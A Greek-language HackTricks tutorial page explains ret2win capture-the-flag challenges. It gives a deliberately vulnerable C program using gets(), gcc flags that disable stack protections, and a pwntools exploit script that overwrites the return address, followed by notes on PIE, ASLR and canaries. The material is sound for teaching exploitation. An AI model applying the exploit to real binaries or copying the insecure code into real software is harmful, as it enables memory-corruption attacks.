Greek - Ht
HackTricks Training Twitter Linkedin Sponsor

Ret2win

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Οι προκλήσεις Ret2win είναι μια δημοφιλής κατηγορία στους διαγωνισμούς Capture The Flag (CTF), ιδιαίτερα σε εργασίες που αφορούν την δυαδική εκμετάλλευση. Ο στόχος είναι να εκμεταλλευτείτε μια ευπαθήτητα σε ένα δεδομένο δυαδικό για να εκτελέσετε μια συγκεκριμένη, μη κληθείσα λειτουργία μέσα στο δυαδικό, συνήθως με όνομα win, flag, κλπ. Αυτή η λειτουργία, όταν εκτελεστεί, συνήθως εκτυπώνει ένα σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση συνήθως περιλαμβάνει τον αντικαταστάση της διεύθυνσης επιστροφής στη στοίβα για να ανακατευθύνετε τη ροή εκτέλεσης στην επιθυμητή λειτουργία. Εδώ υπάρχει μια πιο λεπτομερής εξήγηση με παραδείγματα:

Παράδειγμα σε Γλώσσα C

Ας υποθέσουμε ένα απλό πρόγραμμα σε C με μια ευπαθήτητα και μια λειτουργία win που θέλουμε να καλέσουμε:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Για να μεταγλωτίσετε αυτό το πρόγραμμα χωρίς προστασίες στη στοίβα και με το ASLR απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

  • -m32: Μεταγλωττίστε το πρόγραμμα ως 32-μπιτο δυαδικό (αυτό είναι προαιρετικό αλλά συνηθισμένο σε προκλήσεις CTF).

  • -fno-stack-protector: Απενεργοποιήστε τις προστασίες ενάντια σε υπερχείλιση στη στοίβα.

  • -z execstack: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα.

  • -no-pie: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης win δεν αλλάζει.

  • -o vulnerable: Ονομάστε το αρχείο εξόδου vulnerable.

Εκμετάλλευση με Python χρησιμοποιώντας το Pwntools

Για την εκμετάλλευση, θα χρησιμοποιήσουμε το pwntools, ένα ισχυρό πλαίσιο CTF για τη σύνταξη εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα φορτίο για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Για να βρείτε τη διεύθυνση της συνάρτησης win, μπορείτε να χρησιμοποιήσετε το gdb, το objdump, ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρήσετε δυαδικά αρχεία. Για παράδειγμα, με το objdump, θα μπορούσατε να χρησιμοποιήσετε:

objdump -d vulnerable | grep win

Αυτή η εντολή θα σας δείξει την συναρμολόγηση της συνάρτησης win, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της.

Το σενάριο Python στέλνει έναν προσεκτικά σχεδιασμένο μήνυμα που, όταν επεξεργαστεί από την vulnerable_function, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στη στοίβα με τη διεύθυνση της win. Όταν η vulnerable_function επιστρέφει, αντί να επιστρέψει στο main ή να τερματίσει, μεταβαίνει στην win, και το μήνυμα εκτυπώνεται.

Προστασίες

  • Το PIE πρέπει να είναι απενεργοποιημένο για να είναι αξιόπιστη η διεύθυνση σε κάθε εκτέλεση, διαφορετικά η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαζόσασταν κάποια διαρροή για να καταλάβετε πού φορτώνεται η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι read ή κάτι παρόμοιο, μπορείτε να κάνετε μια Μερική Αντικατάσταση 1 ή 2 bytes για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του τρόπου λειτουργίας του ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια 1/16 πιθανότητα (1 nibble) να λάβετε τη σωστή διεύθυνση επιστροφής.

  • Τα Καναρίνια Στοίβας πρέπει επίσης να είναι απενεργοποιημένα, διαφορετικά η χειρισμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.

Άλλα παραδείγματα & Αναφορές

Παράδειγμα ARM64

pageRet2win - arm64
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

PreviousPointer RedirectingNextRet2win - arm64

Last updated